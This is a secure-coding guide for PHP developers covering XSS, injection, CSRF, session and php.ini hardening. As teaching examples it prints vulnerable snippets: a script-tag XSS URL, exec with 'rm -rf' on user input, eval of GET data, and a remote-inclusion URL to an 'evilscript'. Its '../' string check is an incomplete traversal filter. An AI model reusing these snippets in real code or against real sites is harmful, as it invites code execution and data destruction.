secure PHP web applications - prevent attacks

1. Cross site scripting (XSS)
2. Injections
   • SQL injection
   • Directory traversal (path injection)
   • Command injection
   • Code injection
3. Cross site request forgery (XSRF/CSRF)
4. Public files
5. Passwords
6. Uploading files
7. Session hijacking
8. Remote file inclusion
9. PHP configuration
   • Error reporting
   • Exposing PHP Version
   • Remote files
   • open_basedir
   • Session settings
10. Use HTTPS

Cross site scripting (XSS)

XSS attacks happen when client-side code (usually JavaScript) gets injected into the output of your PHP script. This can be through the URL, but can also occur via a stored technique such as the database.

// GET data is sent through URL: http://example.com/search.php?search=<script>alert('test')</script>
$search = $_GET['search'] ?? null;
echo 'Search results for '.$search;

// This can be solved with htmlspecialchars
$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
echo 'Search results for '.$search;

• ENT_QUOTES is used to escape single and double quotes beside HTML entities
• UTF-8 is used for pre PHP 5.4 environments (now it is default). In some browsers some characters might get pass the htmlspecialchars()

Injections

SQL injection

When accessing databases from your application, SQL injection attack can happen by injecting malicious SQL parts into your existing SQL statement.

Directory traversal (path injection)

Directory traversal attacks, also known as ../ (dot, dot, slash) attacks, happen when users supply filenames as input that can traverse to parent directories. Data can be set as index.php?page=../secret, or /var/www/secret, or something more catastrophic:

$page = $_GET['page'] ?? 'home';

require $page;
// or something like this
echo file_get_contents('../pages/'.$page.'.php');

In such cases you must check if there are attempts to access the parent or some remote folder:

// Checking if the string contains parent directory
if (strstr($_GET['page'], '../') !== false) {
    throw new \Exception("Directory traversal attempt!");
}

// Checking remote file inclusions
if (strstr($_GET['page'], 'file://') !== false) {
    throw new \Exception("Remote file inclusion attempt!");
}

// Using whitelists of pages that are allowed to be included in the first place
$allowed = ['home', 'blog', 'gallery', 'catalog'];
$page = (in_array($page, $allowed)) ? $page : 'home';
echo file_get_contents('../pages/'.$page.'.php');

Command injection

Be careful when dealing with commands executing functions and data you don’t trust.

exec('rm -rf '.$GET['path']);

Code injection

Code injection happens when malicious code can be injected via the eval() function, so remember to always sanitize your data when using it:

eval('include '.$_GET['path']);

Cross site request forgery (XSRF/CSRF)

Cross site request forgery, one click attacks, or session riding is an exploit whereby users execute unwanted actions on web applications.

Public files

Make sure to move all your application files, configuration files and similar parts of your web application to a folder that isn’t publicly accessible when you visit URLs of your web application. Some types of files (e.g., .yml files) might not be processed by your web server and users could view them online.

An example of good folder structure:

app/
  config/
    parameters.yml
  src/
public/
  index.php
  style.css
  javascript.js
  logo.png

Configure your web server to serve files from the public folder instead of from your application root folder. The public folder contains the front controller (index.php). In case of a web server misconfiguration resulting in PHP files failing to be served properly, the source code of index.php will be visible to the public.

Passwords

When working with users’ passwords, hash them properly with the password_hash() function.

Uploading files

Many security breaches occur when users can upload files onto a server. Make sure you go through all the vulnerabilities associated with uploading files and take appropriate precautions against these vulnerabilities, such as by renaming uploaded files, moving them to publicly inaccessible folders, checking the types of files uploaded and so on. 

Session hijacking

Session hijacking is an attack where an attacker steals the session ID of a user. The session ID is sent to the server where the associated $_SESSION array is populated. Session hijacking is possible through an XSS attack or when someone gains access to the folder on a server where the session data is stored.

Remote file inclusion

An RFI (remote file inclusion) attack is when an attacker can include custom scripts:

$page = $_GET['page'] ?? 'home'

require $page . '.php';

In the above code, $_GET can be set to a remote file http://yourdomain.tld/index.php?page=http://example.com/evilscript

Make sure you disable this in your php.ini unless you know what you’re doing:

; Disable including remote files
allow_url_fopen = off
; Disable opening remote files for include(), require() and include_once() functions.
; If above allow_url_fopen is disabled, allow_url_include is also disabled.
allow_url_include = off

PHP configuration

Always keep the installed PHP version updated. You can use versionscan to check for possible vulnerabilities of your PHP version. Update open source libraries and applications, and keep your web server well maintained.

Here are some of the important settings from php.ini that you should check out. You can also use iniscan to scan your php.ini files for best security practices.

Error reporting

In your production environment, you must always turn off displaying errors to the screen. If errors occur in your application and they are visible to the outside world, an attacker could get valuable data for attacking your application. display_errors and log_errors directives in the php.ini file:

; Disable displaying errors to screen
display_errors = off
; Enable writing errors to server logs
log_errors = on

Exposing PHP version

PHP version is visible in HTML headers. You might want to consider hiding your PHP version by turning off the expose_php directive, preventing the web server from sending back the X-Powered-By header:

expose_php = off

Remote files

In most cases, it’s important to disable access to remote files:

; disabled opening remote files for fopen, fsockopen, file_get_contents and similar functions
allow_url_fopen =  0
; disabled including remote files for require, include ans similar functions
allow_url_include = 0

open_basedir

This settings defines one or more directories (subdirectories included) where PHP has access to read and write files. This includes file handling (fopen, file_get_contents) and also including files (include, require):

open_basedir = "/var/www/test/uploads"

Session settings

• session.use_cookies and session.use_only_cookies
  PHP is by default configured to store session data on the server and a tracking cookie on client-side (usually called PHPSESSID) with unique ID for the session.

; in most cases you'll want to enable cookies for storing session
session.use_cookies = 1
; disabled changing session id through PHPSESSID parameter (e.g foo.php?PHPSESSID=<session id>)
session.use_only_cookies = 1
session.use_trans_sid = 0
; rejects any session ID from user that doesn't match current one and creates new one
session.use_strict_mode = 1

• session.cookie_httponly
  If the attacker somehow manages to inject JavaScript code for stealing a user’s current cookies (the document.cookie string), the HttpOnly cookie you’ve set won’t show up in the list.

session.cookie_httponly = 1

• session.cookie_domain
  This sets the domain for which cookies apply. For wildcard domains you can use .example.com, or set this to the domain where it should be applied. By default, it isn’t enabled, so it’s highly recommended for you to enable it:

session.cookie_domain = example.com

• session.cookie_secure
  For HTTPS sites, this accepts only cookies sent over HTTPS. If you’re still not using HTTPS, you should consider it.

session.cookie_secure = 1

Use HTTPS

HTTPS is a protocol for securely communication over networks. It’s highly recommended that you enable it on all sites